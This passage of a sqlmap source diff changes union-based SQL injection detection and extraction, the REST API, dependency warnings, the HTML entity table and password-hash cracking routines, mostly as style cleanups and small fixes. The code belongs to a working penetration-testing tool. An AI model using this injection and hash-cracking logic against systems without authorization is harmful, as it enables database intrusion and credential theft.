-                if len(filter(lambda _: _[1], contains)) == 1:
+                if len(contains) == 1:
-                    retVal = filter(lambda _: _[1], contains)[0][0]
+                    retVal = contains[0]
                     break
 
         if not retVal:
@@ -142,14 +144,16 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
 
             elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
                     deviation = stdev(ratios)
-                    lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation
 
-                    if min_ < lower:
+                    if deviation is not None:
-                        retVal = minItem[0]
+                        lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation
 
-                    if max_ > upper:
+                        if min_ < lower:
-                        if retVal is None or abs(max_ - upper) > abs(min_ - lower):
+                            retVal = minItem[0]
-                            retVal = maxItem[0]
+
+                        if max_ > upper:
+                            if retVal is None or abs(max_ - upper) > abs(min_ - lower):
+                                retVal = maxItem[0]
     finally:
         kb.errorIsNone = popValue()
 
@@ -263,6 +267,8 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
 
     validPayload = None
     vector = None
+    orderBy = kb.orderByColumns
+    uChars = (conf.uChar, kb.uChar)
 
     # In case that user explicitly stated number of columns affected
     if conf.uColsStop == conf.uColsStart:
@@ -297,6 +303,10 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
             if not all((validPayload, vector)) and not warnMsg.endswith("consider "):
                 singleTimeWarnMessage(warnMsg)
 
+    if count and orderBy is None and kb.orderByColumns is not None:  # discard ORDER BY results (not usable - e.g. maybe invalid altogether)
+        conf.uChar, kb.uChar = uChars
+        validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
+
     return validPayload, vector
 
 def unionTest(comment, place, parameter, value, prefix, suffix):

lib/techniques/union/use.py

@@ -44,6 +44,7 @@ from lib.core.data import logger
 from lib.core.data import queries
 from lib.core.dicts import FROM_DUMMY_TABLE
 from lib.core.enums import DBMS
+from lib.core.enums import HTTP_HEADER
 from lib.core.enums import PAYLOAD
 from lib.core.exception import SqlmapDataException
 from lib.core.exception import SqlmapSyntaxException
@@ -89,11 +90,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
             # Parse the returned page to get the exact UNION-based
             # SQL injection output
             def _(regex):
-                return reduce(lambda x, y: x if x is not None else y, (\
+                return reduce(lambda x, y: x if x is not None else y, (extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), None)
-                        extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
-                        extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
-                        if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
-                        None)
 
             # Automatically patching last char trimming cases
             if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
@@ -236,13 +233,7 @@ def unionUse(expression, unpack=True, dump=False):
     # SQL limiting the query output one entry at a time
     # NOTE: we assume that only queries that get data from a table can
     # return multiple entries
-    if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
+    if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
-       kb.forcePartialUnion or \
-       (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and \
-       " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
-       not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \
-       and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
-       and not re.search(SQL_SCALAR_REGEX, expression, re.I):
         expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
 
         if limitCond:

lib/utils/api.py

@@ -45,7 +45,6 @@ from lib.core.settings import RESTAPI_DEFAULT_ADDRESS
 from lib.core.settings import RESTAPI_DEFAULT_PORT
 from lib.core.subprocessng import Popen
 from lib.parse.cmdline import cmdLineParser
-from thirdparty.bottle.bottle import abort
 from thirdparty.bottle.bottle import error as return_error
 from thirdparty.bottle.bottle import get
 from thirdparty.bottle.bottle import hook
@@ -95,7 +94,7 @@ class Database(object):
                 else:
                     self.cursor.execute(statement)
             except sqlite3.OperationalError, ex:
-                if not "locked" in getSafeExString(ex):
+                if "locked" not in getSafeExString(ex):
                     raise
             else:
                 break
@@ -104,22 +103,9 @@ class Database(object):
             return self.cursor.fetchall()
 
     def init(self):
-        self.execute("CREATE TABLE logs("
+        self.execute("CREATE TABLE logs(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, time TEXT, level TEXT, message TEXT)")
-                  "id INTEGER PRIMARY KEY AUTOINCREMENT, "
+        self.execute("CREATE TABLE data(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, status INTEGER, content_type INTEGER, value TEXT)")
-                  "taskid INTEGER, time TEXT, "
+        self.execute("CREATE TABLE errors(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, error TEXT)")
-                  "level TEXT, message TEXT"
-                  ")")
-
-        self.execute("CREATE TABLE data("
-                  "id INTEGER PRIMARY KEY AUTOINCREMENT, "
-                  "taskid INTEGER, status INTEGER, "
-                  "content_type INTEGER, value TEXT"
-                  ")")
-
-        self.execute("CREATE TABLE errors("
-                    "id INTEGER PRIMARY KEY AUTOINCREMENT, "
-                    "taskid INTEGER, error TEXT"
-                    ")")
 
 class Task(object):
     def __init__(self, taskid, remote_addr):
@@ -211,7 +197,6 @@ class Task(object):
     def engine_has_terminated(self):
         return isinstance(self.engine_get_returncode(), int)
 
-
 # Wrapper functions for sqlmap engine
 class StdDbOut(object):
     def __init__(self, taskid, messagetype="stdout"):
@@ -278,7 +263,7 @@ def setRestAPILog():
             conf.databaseCursor = Database(conf.database)
             conf.databaseCursor.connect("client")
         except sqlite3.OperationalError, ex:
-            raise SqlmapConnectionException, "%s ('%s')" % (ex, conf.database)
+            raise SqlmapConnectionException("%s ('%s')" % (ex, conf.database))
 
         # Set a logging handler that writes log messages to a IPC database
         logger.removeHandler(LOGGER_HANDLER)
@@ -585,7 +570,6 @@ def scan_data(taskid):
     logger.debug("[%s] Retrieved scan data and error messages" % taskid)
     return jsonize({"success": True, "data": json_data_message, "error": json_errors_message})
 
-
 # Functions to handle scans' logs
 @get("/scan/<taskid>/log/<start>/<end>")
 def scan_log_limited(taskid, start, end):
@@ -613,7 +597,6 @@ def scan_log_limited(taskid, start, end):
     logger.debug("[%s] Retrieved scan log messages subset" % taskid)
     return jsonize({"success": True, "log": json_log_messages})
 
-
 @get("/scan/<taskid>/log")
 def scan_log(taskid):
     """
@@ -633,7 +616,6 @@ def scan_log(taskid):
     logger.debug("[%s] Retrieved scan log messages" % taskid)
     return jsonize({"success": True, "log": json_log_messages})
 
-
 # Function to handle files inside the output directory
 @get("/download/<taskid>/<target>/<filename:path>")
 def download(taskid, target, filename):
@@ -660,7 +642,6 @@ def download(taskid, target, filename):
         logger.warning("[%s] File does not exist %s" % (taskid, target))
         return jsonize({"success": False, "message": "File does not exist"})
 
-
 def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER, username=None, password=None):
     """
     REST-JSON API server
@@ -861,7 +842,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
             return
 
         elif command in ("help", "?"):
-            msg =  "help           Show this help message\n"
+            msg = "help           Show this help message\n"
             msg += "new ARGS       Start a new scan task with provided arguments (e.g. 'new -u \"http://testphp.vulnweb.com/artists.php?artist=1\"')\n"
             msg += "use TASKID     Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n"
             msg += "data           Retrieve and show data for current task\n"

lib/utils/crawler.py

@@ -167,7 +167,7 @@ def crawl(target):
             if not conf.bulkFile:
                 logger.info("searching for links with depth %d" % (i + 1))
 
-            runThreads(numThreads, crawlThread, threadChoice=(i>0))
+            runThreads(numThreads, crawlThread, threadChoice=(i > 0))
             clearConsoleLine(True)
 
             if threadData.shared.deeper:

lib/utils/deps.py

@@ -25,7 +25,7 @@ def checkDependencies():
                 if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2":
                     warnMsg = "'%s' third-party library must be " % data[1]
                     warnMsg += "version >= 1.0.2 to work properly. "
-                    warnMsg += "Download from %s" % data[2]
+                    warnMsg += "Download from '%s'" % data[2]
                     logger.warn(warnMsg)
             elif dbmsName == DBMS.MYSQL:
                 __import__("pymysql")
@@ -49,7 +49,7 @@ def checkDependencies():
         except:
             warnMsg = "sqlmap requires '%s' third-party library " % data[1]
             warnMsg += "in order to directly connect to the DBMS "
-            warnMsg += "'%s'. Download from %s" % (dbmsName, data[2])
+            warnMsg += "'%s'. Download from '%s'" % (dbmsName, data[2])
             logger.warn(warnMsg)
             missing_libraries.add(data[1])
 
@@ -65,7 +65,7 @@ def checkDependencies():
     except ImportError:
         warnMsg = "sqlmap requires 'python-impacket' third-party library for "
         warnMsg += "out-of-band takeover feature. Download from "
-        warnMsg += "http://code.google.com/p/impacket/"
+        warnMsg += "'http://code.google.com/p/impacket/'"
         logger.warn(warnMsg)
         missing_libraries.add('python-impacket')
 
@@ -76,7 +76,7 @@ def checkDependencies():
     except ImportError:
         warnMsg = "sqlmap requires 'python-ntlm' third-party library "
         warnMsg += "if you plan to attack a web application behind NTLM "
-        warnMsg += "authentication. Download from http://code.google.com/p/python-ntlm/"
+        warnMsg += "authentication. Download from 'http://code.google.com/p/python-ntlm/'"
         logger.warn(warnMsg)
         missing_libraries.add('python-ntlm')
 
@@ -87,7 +87,7 @@ def checkDependencies():
     except ImportError:
         warnMsg = "sqlmap requires 'websocket-client' third-party library "
         warnMsg += "if you plan to attack a web application using WebSocket. "
-        warnMsg += "Download from https://pypi.python.org/pypi/websocket-client/"
+        warnMsg += "Download from 'https://pypi.python.org/pypi/websocket-client/'"
         logger.warn(warnMsg)
         missing_libraries.add('websocket-client')
 
@@ -101,11 +101,10 @@ def checkDependencies():
             warnMsg += "be able to take advantage of the sqlmap TAB "
             warnMsg += "completion and history support features in the SQL "
             warnMsg += "shell and OS shell. Download from "
-            warnMsg += "http://ipython.scipy.org/moin/PyReadline/Intro"
+            warnMsg += "'http://ipython.scipy.org/moin/PyReadline/Intro'"
             logger.warn(warnMsg)
             missing_libraries.add('python-pyreadline')
 
     if len(missing_libraries) == 0:
         infoMsg = "all dependencies are installed"
         logger.info(infoMsg)
-

lib/utils/getch.py

@@ -22,10 +22,9 @@ class _Getch(object):
     def __call__(self):
         return self.impl()
 
-
 class _GetchUnix(object):
     def __init__(self):
-        import tty
+        __import__("tty")
 
     def __call__(self):
         import sys
@@ -41,16 +40,14 @@ class _GetchUnix(object):
             termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
         return ch
 
-
 class _GetchWindows(object):
     def __init__(self):
-        import msvcrt
+        __import__("msvcrt")
 
     def __call__(self):
         import msvcrt
         return msvcrt.getch()
 
-
 class _GetchMacCarbon(object):
     """
     A function which returns the current ASCII key that is down;
@@ -79,6 +76,4 @@ class _GetchMacCarbon(object):
             (what, msg, when, where, mod) = Carbon.Evt.GetNextEvent(0x0008)[1]
             return chr(msg & 0x000000FF)
 
-
 getch = _Getch()
-

lib/utils/hash.py

@@ -16,6 +16,9 @@ try:
 
     # problems on FreeBSD (Reference: http://www.eggheadcafe.com/microsoft/Python/35880259/multiprocessing-on-freebsd.aspx)
     _ = multiprocessing.Queue()
+
+    # problems with ctypes (Reference: https://github.com/sqlmapproject/sqlmap/issues/2952)
+    _ = multiprocessing.Value('i')
 except (ImportError, OSError):
     pass
 else:
@@ -132,7 +135,6 @@ def postgres_passwd(password, username, uppercase=False):
     'md599e5ea7a6f7c3269995cba3927fd0093'
     """
 
-
     if isinstance(username, unicode):
         username = unicode.encode(username, UNICODE_ENCODING)
 
@@ -377,7 +379,7 @@ def unix_md5_passwd(password, salt, magic="$1$", **kwargs):
     ctx = password + magic + salt
     final = md5(password + salt + password).digest()
 
-    for pl in xrange(len(password),0,-16):
+    for pl in xrange(len(password), 0, -16):
         if pl > 16:
             ctx = ctx + final[:16]
         else:
@@ -386,7 +388,7 @@ def unix_md5_passwd(password, salt, magic="$1$", **kwargs):
     i = len(password)
     while i:
         if i & 1:
-            ctx = ctx + chr(0)  #if ($i & 1) { $ctx->add(pack("C", 0)); }
+            ctx = ctx + chr(0)  # if ($i & 1) { $ctx->add(pack("C", 0)); }
         else:
             ctx = ctx + password[0]
         i = i >> 1
@@ -414,7 +416,7 @@ def unix_md5_passwd(password, salt, magic="$1$", **kwargs):
 
         final = md5(ctx1).digest()
 
-    hash_ = _encode64((int(ord(final[0])) << 16) | (int(ord(final[6])) << 8) | (int(ord(final[12]))),4)
+    hash_ = _encode64((int(ord(final[0])) << 16) | (int(ord(final[6])) << 8) | (int(ord(final[12]))), 4)
     hash_ = hash_ + _encode64((int(ord(final[1])) << 16) | (int(ord(final[7])) << 8) | (int(ord(final[13]))), 4)
     hash_ = hash_ + _encode64((int(ord(final[2])) << 16) | (int(ord(final[8])) << 8) | (int(ord(final[14]))), 4)
     hash_ = hash_ + _encode64((int(ord(final[3])) << 16) | (int(ord(final[9])) << 8) | (int(ord(final[15]))), 4)
@@ -519,38 +521,38 @@ def wordpress_passwd(password, salt, count, prefix, **kwargs):
     return "%s%s" % (prefix, _encode64(hash_, 16))
 
 __functions__ = {
-                    HASH.MYSQL: mysql_passwd,
+    HASH.MYSQL: mysql_passwd,
-                    HASH.MYSQL_OLD: mysql_old_passwd,
+    HASH.MYSQL_OLD: mysql_old_passwd,
-                    HASH.POSTGRES: postgres_passwd,
+    HASH.POSTGRES: postgres_passwd,
-                    HASH.MSSQL: mssql_passwd,
+    HASH.MSSQL: mssql_passwd,
-                    HASH.MSSQL_OLD: mssql_old_passwd,
+    HASH.MSSQL_OLD: mssql_old_passwd,
-                    HASH.MSSQL_NEW: mssql_new_passwd,
+    HASH.MSSQL_NEW: mssql_new_passwd,
-                    HASH.ORACLE: oracle_passwd,
+    HASH.ORACLE: oracle_passwd,
-                    HASH.ORACLE_OLD: oracle_old_passwd,
+    HASH.ORACLE_OLD: oracle_old_passwd,
-                    HASH.MD5_GENERIC: md5_generic_passwd,
+    HASH.MD5_GENERIC: md5_generic_passwd,
-                    HASH.SHA1_GENERIC: sha1_generic_passwd,
+    HASH.SHA1_GENERIC: sha1_generic_passwd,
-                    HASH.SHA224_GENERIC: sha224_generic_passwd,
+    HASH.SHA224_GENERIC: sha224_generic_passwd,
-                    HASH.SHA256_GENERIC: sha256_generic_passwd,
+    HASH.SHA256_GENERIC: sha256_generic_passwd,
-                    HASH.SHA384_GENERIC: sha384_generic_passwd,
+    HASH.SHA384_GENERIC: sha384_generic_passwd,
-                    HASH.SHA512_GENERIC: sha512_generic_passwd,
+    HASH.SHA512_GENERIC: sha512_generic_passwd,
-                    HASH.CRYPT_GENERIC: crypt_generic_passwd,
+    HASH.CRYPT_GENERIC: crypt_generic_passwd,
-                    HASH.JOOMLA: joomla_passwd,
+    HASH.JOOMLA: joomla_passwd,
-                    HASH.DJANGO_MD5: django_md5_passwd,
+    HASH.DJANGO_MD5: django_md5_passwd,
-                    HASH.DJANGO_SHA1: django_sha1_passwd,
+    HASH.DJANGO_SHA1: django_sha1_passwd,
-                    HASH.WORDPRESS: wordpress_passwd,
+    HASH.WORDPRESS: wordpress_passwd,
-                    HASH.APACHE_MD5_CRYPT: unix_md5_passwd,
+    HASH.APACHE_MD5_CRYPT: unix_md5_passwd,
-                    HASH.UNIX_MD5_CRYPT: unix_md5_passwd,
+    HASH.UNIX_MD5_CRYPT: unix_md5_passwd,
-                    HASH.APACHE_SHA1: apache_sha1_passwd,
+    HASH.APACHE_SHA1: apache_sha1_passwd,
-                    HASH.VBULLETIN: vbulletin_passwd,
+    HASH.VBULLETIN: vbulletin_passwd,
-                    HASH.VBULLETIN_OLD: vbulletin_passwd,
+    HASH.VBULLETIN_OLD: vbulletin_passwd,
-                    HASH.SSHA: ssha_passwd,
+    HASH.SSHA: ssha_passwd,
-                    HASH.SSHA256: ssha256_passwd,
+    HASH.SSHA256: ssha256_passwd,
-                    HASH.SSHA512: ssha512_passwd,
+    HASH.SSHA512: ssha512_passwd,
-                    HASH.MD5_BASE64: md5_generic_passwd,
+    HASH.MD5_BASE64: md5_generic_passwd,
-                    HASH.SHA1_BASE64: sha1_generic_passwd,
+    HASH.SHA1_BASE64: sha1_generic_passwd,
-                    HASH.SHA256_BASE64: sha256_generic_passwd,
+    HASH.SHA256_BASE64: sha256_generic_passwd,
-                    HASH.SHA512_BASE64: sha512_generic_passwd,
+    HASH.SHA512_BASE64: sha512_generic_passwd,
-                }
+}
 
 def storeHashesToFile(attack_dict):
     if not attack_dict:
@@ -693,9 +695,7 @@ def hashRecognition(value):
     if isinstance(value, basestring):
         for name, regex in getPublicTypeMembers(HASH):
             # Hashes for Oracle and old MySQL look the same hence these checks
-            if isOracle and regex == HASH.MYSQL_OLD:
+            if isOracle and regex == HASH.MYSQL_OLD or isMySQL and regex == HASH.ORACLE_OLD:
-                continue
-            elif isMySQL and regex == HASH.ORACLE_OLD:
                 continue
             elif regex == HASH.CRYPT_GENERIC:
                 if any((value.lower() == value, value.upper() == value)):
@@ -712,7 +712,7 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc
 
     count = 0
     rotator = 0
-    hashes = set([item[0][1] for item in attack_info])
+    hashes = set(item[0][1] for item in attack_info)
 
     wordlist = Wordlist(wordlists, proc_id, getattr(proc_count, "value", 0), custom_wordlist)
 
@@ -721,6 +721,8 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc
             if not attack_info:
                 break
 
+            count += 1
+
             if not isinstance(word, basestring):
                 continue
 
@@ -730,8 +732,6 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc
             try:
                 current = __functions__[hash_regex](password=word, uppercase=False)
 
-                count += 1
-
                 if current in hashes:
                     for item in attack_info[:]:
                         ((user, hash_), _) = item
@@ -758,7 +758,7 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc
                     if rotator >= len(ROTATING_CHARS):
                         rotator = 0
 
-                    status = 'current status: %s... %s' % (word.ljust(5)[:5], ROTATING_CHARS[rotator])
+                    status = "current status: %s... %s" % (word.ljust(5)[:5], ROTATING_CHARS[rotator])
 
                     if not api:
                         dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status))
@@ -796,7 +796,6 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found
             if found.value:
                 break
 
-            current = __functions__[hash_regex](password=word, uppercase=False, **kwargs)
             count += 1
 
             if not isinstance(word, basestring):
@@ -806,6 +805,8 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found
                 word = word + suffix
 
             try:
+                current = __functions__[hash_regex](password=word, uppercase=False, **kwargs)
+
                 if hash_ == current:
                     if hash_regex == HASH.ORACLE_OLD:  # only for cosmetic purposes
                         word = word.upper()
@@ -827,12 +828,14 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found
 
                 elif (proc_id == 0 or getattr(proc_count, "value", 0) == 1) and count % HASH_MOD_ITEM_DISPLAY == 0:
                     rotator += 1
+
                     if rotator >= len(ROTATING_CHARS):
                         rotator = 0
-                    status = 'current status: %s... %s' % (word.ljust(5)[:5], ROTATING_CHARS[rotator])
+
+                    status = "current status: %s... %s" % (word.ljust(5)[:5], ROTATING_CHARS[rotator])
 
                     if user and not user.startswith(DUMMY_USER_PREFIX):
-                        status += ' (user: %s)' % user
+                        status += " (user: %s)" % user
 
                     if not api:
                         dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status))

lib/utils/hashdb.py

@@ -92,7 +92,7 @@ class HashDB(object):
                     except sqlite3.DatabaseError, ex:
                         errMsg = "error occurred while accessing session file '%s' ('%s'). " % (self.filepath, getSafeExString(ex))
                         errMsg += "If the problem persists please rerun with `--flush-session`"
-                        raise SqlmapConnectionException, errMsg
+                        raise SqlmapConnectionException(errMsg)
                     else:
                         break
 

lib/utils/htmlentities.py

@@ -8,256 +8,256 @@ See the file 'LICENSE' for copying permission
 # Reference: http://www.w3.org/TR/1999/REC-html401-19991224/sgml/entities.html
 
 htmlEntities = {
-    'quot':   34,
+    "quot": 34,
-    'amp':    38,
+    "amp": 38,
-    'lt':     60,
+    "lt": 60,
-    'gt':     62,
+    "gt": 62,
-    'nbsp':   160,
+    "nbsp": 160,
-    'iexcl':  161,
+    "iexcl": 161,
-    'cent':   162,
+    "cent": 162,
-    'pound':  163,
+    "pound": 163,
-    'curren': 164,
+    "curren": 164,
-    'yen':    165,
+    "yen": 165,
-    'brvbar': 166,
+    "brvbar": 166,
-    'sect':   167,
+    "sect": 167,
-    'uml':    168,
+    "uml": 168,
-    'copy':   169,
+    "copy": 169,
-    'ordf':   170,
+    "ordf": 170,
-    'laquo':  171,
+    "laquo": 171,
-    'not':    172,
+    "not": 172,
-    'shy':    173,
+    "shy": 173,
-    'reg':    174,
+    "reg": 174,
-    'macr':   175,
+    "macr": 175,
-    'deg':    176,
+    "deg": 176,
-    'plusmn': 177,
+    "plusmn": 177,
-    'sup2':   178,
+    "sup2": 178,
-    'sup3':   179,
+    "sup3": 179,
-    'acute':  180,
+    "acute": 180,
-    'micro':  181,
+    "micro": 181,
-    'para':   182,
+    "para": 182,
-    'middot': 183,
+    "middot": 183,
-    'cedil':  184,
+    "cedil": 184,
-    'sup1':   185,
+    "sup1": 185,
-    'ordm':   186,
+    "ordm": 186,
-    'raquo':  187,
+    "raquo": 187,
-    'frac14': 188,
+    "frac14": 188,
-    'frac12': 189,
+    "frac12": 189,
-    'frac34': 190,
+    "frac34": 190,
-    'iquest': 191,
+    "iquest": 191,
-    'Agrave': 192,
+    "Agrave": 192,
-    'Aacute': 193,
+    "Aacute": 193,
-    'Acirc':  194,
+    "Acirc": 194,
-    'Atilde': 195,
+    "Atilde": 195,
-    'Auml':   196,
+    "Auml": 196,
-    'Aring':  197,
+    "Aring": 197,
-    'AElig':  198,
+    "AElig": 198,
-    'Ccedil': 199,
+    "Ccedil": 199,
-    'Egrave': 200,
+    "Egrave": 200,
-    'Eacute': 201,
+    "Eacute": 201,
-    'Ecirc':  202,
+    "Ecirc": 202,
-    'Euml':   203,
+    "Euml": 203,
-    'Igrave': 204,
+    "Igrave": 204,
-    'Iacute': 205,
+    "Iacute": 205,
-    'Icirc':  206,
+    "Icirc": 206,
-    'Iuml':   207,
+    "Iuml": 207,
-    'ETH':    208,
+    "ETH": 208,
-    'Ntilde': 209,
+    "Ntilde": 209,
-    'Ograve': 210,
+    "Ograve": 210,
-    'Oacute': 211,
+    "Oacute": 211,
-    'Ocirc':  212,
+    "Ocirc": 212,
-    'Otilde': 213,
+    "Otilde": 213,
-    'Ouml':   214,
+    "Ouml": 214,
-    'times':  215,
+    "times": 215,
-    'Oslash': 216,
+    "Oslash": 216,
-    'Ugrave': 217,
+    "Ugrave": 217,
-    'Uacute': 218,
+    "Uacute": 218,
-    'Ucirc':  219,
+    "Ucirc": 219,
-    'Uuml':   220,
+    "Uuml": 220,
-    'Yacute': 221,
+    "Yacute": 221,
-    'THORN':  222,
+    "THORN": 222,
-    'szlig':  223,
+    "szlig": 223,
-    'agrave': 224,
+    "agrave": 224,
-    'aacute': 225,
+    "aacute": 225,
-    'acirc':  226,
+    "acirc": 226,
-    'atilde': 227,
+    "atilde": 227,
-    'auml':   228,
+    "auml": 228,
-    'aring':  229,
+    "aring": 229,
-    'aelig':  230,
+    "aelig": 230,
-    'ccedil': 231,
+    "ccedil": 231,
-    'egrave': 232,
+    "egrave": 232,
-    'eacute': 233,
+    "eacute": 233,
-    'ecirc':  234,
+    "ecirc": 234,
-    'euml':   235,
+    "euml": 235,
-    'igrave': 236,
+    "igrave": 236,
-    'iacute': 237,
+    "iacute": 237,
-    'icirc':  238,
+    "icirc": 238,
-    'iuml':   239,
+    "iuml": 239,
-    'eth':    240,
+    "eth": 240,
-    'ntilde': 241,
+    "ntilde": 241,
-    'ograve': 242,
+    "ograve": 242,
-    'oacute': 243,
+    "oacute": 243,
-    'ocirc':  244,
+    "ocirc": 244,
-    'otilde': 245,
+    "otilde": 245,
-    'ouml':   246,
+    "ouml": 246,
-    'divide': 247,
+    "divide": 247,
-    'oslash': 248,
+    "oslash": 248,
-    'ugrave': 249,
+    "ugrave": 249,
-    'uacute': 250,
+    "uacute": 250,
-    'ucirc':  251,
+    "ucirc": 251,
-    'uuml':   252,
+    "uuml": 252,
-    'yacute': 253,
+    "yacute": 253,
-    'thorn':  254,
+    "thorn": 254,
-    'yuml':   255,
+    "yuml": 255,
-    'OElig':  338,
+    "OElig": 338,
-    'oelig':  339,
+    "oelig": 339,
-    'Scaron': 352,
+    "Scaron": 352,
-    'fnof':   402,
+    "fnof": 402,
-    'scaron': 353,
+    "scaron": 353,
-    'Yuml':   376,
+    "Yuml": 376,
-    'circ':   710,
+    "circ": 710,
-    'tilde':  732,
+    "tilde": 732,
-    'Alpha':    913,
+    "Alpha": 913,
-    'Beta':     914,
+    "Beta": 914,
-    'Gamma':    915,
+    "Gamma": 915,
-    'Delta':    916,
+    "Delta": 916,
-    'Epsilon':  917,
+    "Epsilon": 917,
-    'Zeta':     918,
+    "Zeta": 918,
-    'Eta':      919,
+    "Eta": 919,
-    'Theta':    920,
+    "Theta": 920,
-    'Iota':     921,
+    "Iota": 921,
-    'Kappa':    922,
+    "Kappa": 922,
-    'Lambda':   923,
+    "Lambda": 923,
-    'Mu':       924,
+    "Mu": 924,
-    'Nu':       925,
+    "Nu": 925,
-    'Xi':       926,
+    "Xi": 926,
-    'Omicron':  927,
+    "Omicron": 927,
-    'Pi':       928,
+    "Pi": 928,
-    'Rho':      929,
+    "Rho": 929,
-    'Sigma':    931,
+    "Sigma": 931,
-    'Tau':      932,
+    "Tau": 932,
-    'Upsilon':  933,
+    "Upsilon": 933,
-    'Phi':      934,
+    "Phi": 934,
-    'Chi':      935,
+    "Chi": 935,
-    'Psi':      936,
+    "Psi": 936,
-    'Omega':    937,
+    "Omega": 937,
-    'alpha':    945,
+    "alpha": 945,
-    'beta':     946,
+    "beta": 946,
-    'gamma':    947,
+    "gamma": 947,
-    'delta':    948,
+    "delta": 948,
-    'epsilon':  949,
+    "epsilon": 949,
-    'zeta':     950,
+    "zeta": 950,
-    'eta':      951,
+    "eta": 951,
-    'theta':    952,
+    "theta": 952,
-    'iota':     953,
+    "iota": 953,
-    'kappa':    954,
+    "kappa": 954,
-    'lambda':   955,
+    "lambda": 955,
-    'mu':       956,
+    "mu": 956,
-    'nu':       957,
+    "nu": 957,
-    'xi':       958,
+    "xi": 958,
-    'omicron':  959,
+    "omicron": 959,
-    'pi':       960,
+    "pi": 960,
-    'rho':      961,
+    "rho": 961,
-    'sigmaf':   962,
+    "sigmaf": 962,
-    'sigma':    963,
+    "sigma": 963,
-    'tau':      964,
+    "tau": 964,
-    'upsilon':  965,
+    "upsilon": 965,
-    'phi':      966,
+    "phi": 966,
-    'chi':      967,
+    "chi": 967,
-    'psi':      968,
+    "psi": 968,
-    'omega':    969,
+    "omega": 969,
-    'thetasym': 977,
+    "thetasym": 977,
-    'upsih':    978,
+    "upsih": 978,
-    'piv':      982,
+    "piv": 982,
-    'bull':    8226,
+    "bull": 8226,
-    'hellip':  8230,
+    "hellip": 8230,
-    'prime':   8242,
+    "prime": 8242,
-    'Prime':   8243,
+    "Prime": 8243,
-    'oline':   8254,
+    "oline": 8254,
-    'frasl':   8260,
+    "frasl": 8260,
-    'ensp':   8194,
+    "ensp": 8194,
-    'emsp':   8195,
+    "emsp": 8195,
-    'thinsp': 8201,
+    "thinsp": 8201,
-    'zwnj':   8204,
+    "zwnj": 8204,
-    'zwj':    8205,
+    "zwj": 8205,
-    'lrm':    8206,
+    "lrm": 8206,
-    'rlm':    8207,
+    "rlm": 8207,
-    'ndash':  8211,
+    "ndash": 8211,
-    'mdash':  8212,
+    "mdash": 8212,
-    'lsquo':  8216,
+    "lsquo": 8216,
-    'rsquo':  8217,
+    "rsquo": 8217,
-    'sbquo':  8218,
+    "sbquo": 8218,
-    'ldquo':  8220,
+    "ldquo": 8220,
-    'rdquo':  8221,
+    "rdquo": 8221,
-    'bdquo':  8222,
+    "bdquo": 8222,
-    'dagger': 8224,
+    "dagger": 8224,
-    'Dagger': 8225,
+    "Dagger": 8225,
-    'permil': 8240,
+    "permil": 8240,
-    'lsaquo': 8249,
+    "lsaquo": 8249,
-    'rsaquo': 8250,
+    "rsaquo": 8250,
-    'euro':   8364,
+    "euro": 8364,
-    'weierp':  8472,
+    "weierp": 8472,
-    'image':   8465,
+    "image": 8465,
-    'real':    8476,
+    "real": 8476,
-    'trade':   8482,
+    "trade": 8482,
-    'alefsym': 8501,
+    "alefsym": 8501,
-    'larr':   8592,
